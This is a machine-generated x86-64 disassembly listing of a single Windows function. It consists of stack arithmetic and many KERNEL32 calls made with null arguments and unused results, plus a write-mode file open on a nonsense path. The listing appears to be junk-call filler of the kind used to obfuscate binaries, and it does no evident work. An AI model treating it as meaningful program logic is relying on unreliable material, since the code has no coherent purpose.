mov rax, qword [rsp + 0x9088]
mov ecx, dword [rsp + 0x4344]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8e98]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8db8]
mov rcx, qword [rsp + 0x8f30]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8c70], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rcx, qword [rsp + 0x8f80]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rax, [rsp + 0x8da0]
mov qword [rsp + 0x9098], rax
movzx ecx, word [rsp + 0xb6c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xb6c], ax
mov rax, qword [rsp + 0x8e90]
mov ecx, dword [rsp + 0x42d4]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8cd0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9000]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8fd0]
movzx ecx, word [rcx]
imul eax, ecx
mov word [0x1401e602c], ax
mov rax, qword [rsp + 0x8e20]
movzx eax, word [rax]
mov word [rsp + 0xba0], ax
mov rax, qword [rsp + 0x8fe8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8cb0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x50], al
mov rax, qword [rsp + 0x8c68]
movzx eax, byte [rax]
mov byte [rsp + 0x5b], al
mov rcx, qword [rsp + 0x8f98]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x436c], eax
mov rax, qword [rsp + 0x8e18]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8f78]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x58], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalUnlock]
mov rax, qword [rsp + 0x8f20]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9048]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x8e10], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
lea rcx, [rsp + 0x8db0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea rax, [rsp + 0x41bc]
mov qword [rsp + 0x90a0], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov eax, dword [0x1401e6014]
movzx ecx, al
mov eax, dword [rsp + 0x41b8]
shl eax, cl
mov dword [rsp + 0x4348], eax
lea rax, [rsp + 0x8c98]
mov qword [rsp + 0x90a8], rax
movsx eax, byte [rsp + 0x54]
mov rcx, qword [rsp + 0x8ca0]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x56], al
lea rax, [rsp + 0xb60]
mov qword [0x1401e7430], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x90b0], rax
movsx eax, word [0x1401e6028]
mov rcx, qword [rsp + 0x8ee8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xb84], ax
lea rax, [rsp + 0x5a]
mov qword [rsp + 0x90b8], rax
mov rax, qword [rsp + 0x8fd0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9000]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xb78], ax
mov qword [rsp + 0x20], 0
mov r9d, 0x2eaf
mov r8d, 0xcbb
mov edx, 0xe0
mov rcx, qword [rsp + 0x8d20]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x435c], eax
mov eax, dword [rsp + 0x4348]
mov dword [rsp + 0x4370], eax
mov rax, qword [rsp + 0x8d70]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8dd8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8f30]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8f90]
mov eax, dword [rax]
imul eax, dword [rsp + 0x424c]
mov rcx, qword [rsp + 0x8fa0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9090]
mov rax, qword [rax]
mov qword [rsp + 0x90c0], rax
mov rax, qword [rsp + 0x9008]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x52]
add eax, ecx
mov byte [rsp + 0x56], al
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0x8d30], rax
mov rax, qword [rsp + 0x8fe0]
movzx eax, word [rax]
mov word [0x1401e7438], ax
lea rax, [rsp + 0x51]
mov qword [rsp + 0x90c8], rax
mov rax, qword [rsp + 0x8cb0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x5b]
sub eax, ecx
mov rcx, qword [rsp + 0x8ca0]
mov byte [rcx], al
movzx eax, word [rsp + 0xb74]
mov word [rsp + 0xba4], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rcx, [rsp + 0x29ea0]
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
mov dword [rsp + 0x41c8], eax
mov rax, qword [rsp + 0x8f00]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4364]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4348], eax
mov rax, qword [rsp + 0x8c20]
mov rcx, qword [rsp + 0x8f20]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9048], rax
lea rax, [rsp + 0x8ff8]
mov qword [rsp + 0x90d0], rax
mov rax, qword [rsp + 0x8e98]
mov rcx, qword [rsp + 0x9068]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8e98]
mov dword [rcx], eax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadTimes]
mov rax, qword [rsp + 0x8c68]
movzx eax, byte [rax]
mov byte [rsp + 0x5c], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x42f4], eax
lea rcx, [rsp + 0x25480]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov qword [rsp + 0x90d8], rax
mov rax, qword [rsp + 0x8c40]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb9c]
sub eax, ecx
mov word [0x1401e602c], ax
mov rax, qword [rsp + 0x8f78]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x55]
sub eax, ecx
mov byte [rsp + 0x5a], al
movsx eax, word [rsp + 0xb74]
movsx ecx, word [rsp + 0xb68]
add eax, ecx
mov word [rsp + 0xb8c], ax
mov rax, qword [rsp + 0x8fc8]
movzx eax, byte [rax]
mov byte [rsp + 0x5d], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetWriteWatch]
mov rax, qword [rsp + 0x9068]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4280]
sar eax, cl
mov dword [rsp + 0x42c4], eax
xor r9d, r9d
lea r8, [rsp + 0x8df0]
mov rdx, qword [rsp + 0x8e48]
mov rcx, qword [rsp + 0x8f98]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4350], eax
mov rax, qword [rsp + 0x8f68]
mov qword [rsp + 0x90e0], rax
mov rax, qword [rsp + 0x8f30]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9050]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8db8]
mov qword [rcx], rax
xor edx, edx
mov eax, dword [0x1401e6018]
mov rcx, qword [rsp + 0x8cd0]
div dword [rcx]
mov rcx, qword [rsp + 0x8f00]
mov dword [rcx], eax
lea rax, [rsp + 0xb70]
mov qword [rsp + 0x90e8], rax
mov rax, qword [rsp + 0x9028]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8e18]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [0x1401e6013], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov qword [rsp + 0x20], 0
mov r9d, 0x258b
mov r8d, 0x11c
mov edx, 0xe0
mov rcx, qword [rsp + 0x8da8]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x435c], eax
movsx eax, word [rsp + 0xb98]
mov rcx, qword [rsp + 0x8fe0]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xb8c], ax
mov rax, qword [rsp + 0x8ca0]
movzx eax, byte [rax]
mov byte [rsp + 0x5e], al
mov rax, qword [rsp + 0x9080]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb9c]
imul eax, ecx
mov word [rsp + 0xb60], ax
lea rdx, [rsp + 0x28180]
mov rcx, qword [rsp + 0x8d20]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x4324], eax
mov rcx, qword [rsp + 0x8d10]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x42ec], eax
mov r9d, 2
xor r8d, r8d
mov edx, 0x9931
mov rcx, qword [rsp + 0x8f98]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4374], eax
movzx eax, byte [rsp + 0x57]
movzx ecx, byte [rsp + 0x5a]
and eax, ecx
mov byte [rsp + 0x5d], al
mov rax, qword [rsp + 0x9030]
mov eax, dword [rax]
mov dword [rsp + 0x4378], eax
mov rax, qword [rsp + 0x8cc8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x90e0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x90c0], rax
lea rax, [rsp + 0x4344]
mov qword [rsp + 0x90f0], rax
mov rax, qword [rsp + 0x8db8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8ff8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x90a8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x90e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9060]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x1401e6030], ax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x41b4], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x41b4], eax
lea rax, [rsp + 0xba4]
mov qword [rsp + 0x90f8], rax
movsx eax, byte [rsp + 0x59]
mov rcx, qword [rsp + 0x8ca0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8c68]
mov byte [rcx], al
mov rax, qword [rsp + 0x90b8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8fc8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x57], al
lea rdx, [rsp + 0x9100]
mov rcx, qword [rsp + 0x8f98]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4308], eax
movzx eax, word [rsp + 0xb68]
mov word [rsp + 0xba8], ax
mov r9d, 0xe63
xor r8d, r8d
lea rdx, [rsp + 0x8fd8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4358], eax
mov rax, qword [rsp + 0x9098]
mov rcx, qword [rsp + 0x8c20]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8e10], rax
lea rax, [rsp + 0x41bc]
mov qword [rsp + 0x9108], rax
mov rax, qword [rsp + 0x9030]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4270]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8c78]
mov dword [rcx], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadIOPendingFlag]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
mov rax, qword [rsp + 0x8f30]
mov rcx, qword [rsp + 0x8d70]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8ff8], rax
mov rax, qword [0x1401e7430]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9020]
movzx ecx, word [rcx]
shl eax, cl
mov word [0x1401e6010], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov qword [rsp + 0x9110], rax
movzx eax, byte [rsp + 0x57]
mov byte [rsp + 0x5f], al
movzx eax, word [rsp + 0xb9c]
movzx ecx, word [rsp + 0xb60]
xor eax, ecx
mov word [rsp + 0xb94], ax
lea rax, [rsp + 0x5e]
mov qword [rsp + 0x9118], rax
mov rcx, qword [rsp + 0x8e30]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x9008]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9118]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x59], al
mov rax, qword [rsp + 0x9010]
mov rcx, qword [rsp + 0x8dd8]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x8ff8], rax
lea rax, section..data
mov qword [rsp + 0x9120], rax
mov rax, qword [rsp + 0x8cc8]
mov rcx, qword [rsp + 0x8f68]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x90c0], rax
lea rcx, [rsp + 0x26878]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov eax, dword [rsp + 0x4370]
mov dword [rsp + 0x437c], eax
mov rax, qword [0x1401e7430]
movzx eax, word [rax]
mov word [0x1401e743c], ax
movzx ecx, word [rsp + 0xb80]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xb6c], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x8f78]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8e18]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x51], al
movzx ecx, word [rsp + 0xb7c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xb80], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0x9078], rax
mov rax, qword [rsp + 0x9008]
movzx eax, byte [rax]
mov byte [rsp + 0x60], al
movsx eax, word [rsp + 0xb84]
mov rcx, qword [0x1401e7428]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8ca8]
mov word [rcx], ax
mov rax, qword [rsp + 0x8e78]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8ee8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xb68], ax
mov rax, qword [rsp + 0x8c80]
mov eax, dword [rax]
mov dword [rsp + 0x4380], eax
lea rcx, [rsp + 0x268a8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x9098]
mov rcx, qword [rsp + 0x8c20]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8e10], rax
mov rax, qword [rsp + 0x8c70]
mov qword [rsp + 0x9128], rax
mov eax, dword [rsp + 0x4214]
mov ecx, dword [rsp + 0x4378]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8e90]
mov dword [rcx], eax
lea rcx, [rsp + 0x2a080]
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
mov dword [rsp + 0x4310], eax
lea rax, [rsp + 0xb70]
mov qword [0x1401e7440], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x8e58], rax
mov rax, qword [0x1401e7428]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8fe0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xb64], ax
movzx ecx, word [rsp + 0xb80]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xbac], ax
mov rax, qword [rsp + 0x8fb8]
movzx eax, byte [rax]
mov byte [rsp + 0x61], al
mov rax, qword [rsp + 0x9028]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8e18]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x90c8]
mov byte [rcx], al
movzx eax, word [rsp + 0xb8c]
mov word [rsp + 0xbb0], ax
mov rax, qword [rsp + 0x8e98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x41bc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x90f0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x90a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8c98]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8dd8], rax
lea rax, [rsp + 0x437c]
mov qword [rsp + 0x9130], rax
mov rcx, qword [rsp + 0x8fd8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x90e0]
movzx ecx, al
mov rax, qword [rsp + 0x8c18]
shr rax, cl
mov rcx, qword [rsp + 0x9090]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x5f]
mov rcx, qword [rsp + 0x90c8]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [0x1401e6007], al
movzx eax, word [rsp + 0xb94]
mov word [rsp + 0xbb4], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_TransmitCommChar]
mov rax, qword [rsp + 0x8eb8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb64]
shl eax, cl
mov rcx, qword [rsp + 0x8ee8]
mov word [rcx], ax
movsx eax, byte [rsp + 0x54]
mov rcx, qword [rsp + 0x9008]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x9118]
mov byte [rcx], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessId]
movzx eax, byte [rsp + 0x55]
mov byte [rsp + 0x62], al
mov rax, qword [rsp + 0x9068]
mov eax, dword [rax]
imul eax, dword [rsp + 0x41bc]
mov dword [rsp + 0x423c], eax
lea rax, [0x1401e7410]
mov qword [rsp + 0x9138], rax
mov rax, qword [rsp + 0x8cc8]
mov rcx, qword [rsp + 0x8da0]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x90c0], rax
lea rax, [rsp + 0x4214]
mov qword [rsp + 0x9140], rax
lea rax, [rsp + 0x5e]
mov qword [0x1401e7448], rax
mov rax, qword [0x1401e7440]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb60]
add eax, ecx
mov word [rsp + 0xb70], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.C:UpfieldPerpetualAirline
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x9148], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMemoryResourceNotification]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x8e28], rax
movzx ecx, word [rsp + 0xb80]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xb6c], ax
movzx eax, word [rsp + 0xb60]
movzx ecx, word [rsp + 0xb9c]
sub eax, ecx
mov word [rsp + 0xb78], ax
movzx eax, byte [rsp + 0x52]
mov byte [rsp + 0x63], al
mov rax, qword [rsp + 0x8eb8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8ca8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8eb8]
mov word [rcx], ax
lea rax, [rsp + 0x4214]
mov qword [rsp + 0x9150], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov qword [rsp + 0x9158], rax
mov rax, qword [rsp + 0x9068]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x42c4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4280], eax
mov rax, qword [rsp + 0x8cc8]
mov rcx, qword [rsp + 0x8c20]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9090]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8ff8]
mov qword [rsp + 0x9160], rax
mov rax, qword [rsp + 0x8e68]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8e18]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x1401e6007], al
movzx eax, byte [rsp + 0x53]
movzx ecx, byte [rsp + 0x5a]
sub eax, ecx
mov rcx, qword [rsp + 0x90b8]
mov byte [rcx], al
movzx eax, word [rsp + 0xb70]
mov word [rsp + 0xbb8], ax
movsx eax, word [rsp + 0xb98]
mov rcx, qword [rsp + 0x8e78]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xba4], ax
movsx eax, byte [rsp + 0x52]
movsx ecx, byte [rsp + 0x59]
add eax, ecx
mov byte [rsp + 0x54], al
mov r9d, 2
lea r8, [rsp + 0x8c48]
mov rdx, qword [rsp + 0x9100]
mov rcx, qword [rsp + 0x8da8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4324], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiber]
mov rax, qword [rsp + 0x9098]
mov rax, qword [rax]
mov qword [rsp + 0x9168], rax
mov edx, 0x445
mov rcx, qword [rsp + 0x9158]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x41b4], eax
movzx ecx, word [rsp + 0xb7c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xbbc], ax
mov rax, qword [rsp + 0x9068]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4344]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4380], eax
mov eax, dword [rsp + 0x4244]
mov dword [rsp + 0x4384], eax
mov rax, qword [rsp + 0x8f30]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8d70]
mov qword [rsp + 0x9170], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9170]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x9050], rax
movsx eax, word [rsp + 0xb84]
mov rcx, qword [rsp + 0x8fe0]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xba4], ax
movzx eax, byte [rsp + 0x5a]
mov rcx, qword [rsp + 0x8e68]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [0x1401e601c], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
mov rax, qword [rsp + 0x8ca0]
movzx eax, byte [rax]
mov byte [rsp + 0x64], al
lea rdx, [rsp + 0x8c48]
mov rcx, qword [rsp + 0x9148]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4310], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov qword [rsp + 0x9178], rax
movzx eax, word [rsp + 0xb94]
movzx ecx, word [0x1401e6010]
imul eax, ecx
mov rcx, qword [rsp + 0x8fd0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x5d]
mov byte [rsp + 0x65], al
mov rax, qword [rsp + 0x9090]
mov rcx, qword [rsp + 0x8f20]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x9098]
mov qword [rcx], rax
lea rax, [rsp + 0x4348]
mov qword [rsp + 0x9180], rax
mov rax, qword [rsp + 0x8f88]
mov rcx, qword [rsp + 0x8c70]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x8cc0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9108]
mov ecx, dword [rsp + 0x423c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4344], eax
movzx eax, byte [rsp + 0x5e]
mov byte [rsp + 0x66], al
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0x8f10], rax
lea rax, [rsp + 0xb9c]
mov qword [0x1401e7450], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetPriorityClass]
movsx eax, byte [rsp + 0x54]
mov rcx, qword [rsp + 0x9118]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x5c], al
movzx eax, word [rsp + 0xbb0]
mov word [rsp + 0xbc0], ax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x4368], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
movsx eax, word [rsp + 0xb98]
mov rcx, qword [rsp + 0x8eb8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xb64], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x9098]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9048]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9168], rax
mov eax, dword [rsp + 0x4364]
mov dword [rsp + 0x4388], eax
mov edx, 0x234d09
mov rcx, qword [rsp + 0x8d20]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x4234], eax
lea rcx, [rsp + 0x25430]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [rsp + 0x8f90]
mov rcx, qword [rsp + 0x8e98]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x90a0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8dd8]
mov qword [rsp + 0x9188], rax
mov edx, 0x40d3ab
mov rcx, qword [rsp + 0x8d20]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x438c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriorityBoost]
movzx eax, word [rsp + 0xb94]
movzx ecx, word [0x1401e743c]
and eax, ecx
mov rcx, qword [rsp + 0x8fd0]
mov word [rcx], ax
mov rax, qword [rsp + 0x9008]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8fb8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401e601d], al
lea rdx, [rsp + 0x281b8]
mov rcx, qword [rsp + 0x9148]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x438c], eax
mov rax, qword [rsp + 0x9080]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8c40]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xb60], ax
mov rax, qword [0x1401e7428]
movzx eax, word [rax]
mov word [rsp + 0xbc4], ax
movzx eax, byte [rsp + 0x5f]
movzx ecx, byte [rsp + 0x55]
xor eax, ecx
mov rcx, qword [rsp + 0x90b8]
mov byte [rcx], al
lea rax, [rsp + 0x9188]
mov qword [rsp + 0x9190], rax
mov eax, dword [rsp + 0x42c4]
cdq
idiv dword [rsp + 0x423c]
mov dword [rsp + 0x4380], eax
lea rax, [rsp + 0x4364]
mov qword [rsp + 0x9198], rax
mov rax, qword [rsp + 0x8da0]
mov rcx, qword [rsp + 0x8f20]
mov qword [rsp + 0x91a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x91a0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x90c0], rax
movsx eax, byte [rsp + 0x64]
mov rcx, qword [rsp + 0x9008]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x52], al
mov rcx, qword [rsp + 0x8da8]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x4328], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x8d90], rax
mov rcx, qword [rsp + 0x8d10]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, byte [rsp + 0x5a]
movzx ecx, byte [rsp + 0x65]
add eax, ecx
mov byte [0x1401e601c], al
movzx eax, word [rsp + 0xb64]
mov word [rsp + 0xbc8], ax
movzx eax, byte [0x1401e6012]
mov rcx, qword [rsp + 0x90b8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x65], al
mov ecx, 7
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x4324], eax
mov rax, qword [rsp + 0x90e8]
movzx eax, word [rax]
mov word [rsp + 0xbcc], ax
mov rcx, qword [rsp + 0x8e30]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4310], eax
mov rax, qword [rsp + 0x90e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9060]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xb78], ax
mov rax, qword [rsp + 0x90a8]
mov rcx, qword [rsp + 0x8c98]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x90a8]
mov qword [rcx], rax
mov ecx, MakeDragList
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x4274], eax
lea rax, [rsp + 0x4280]
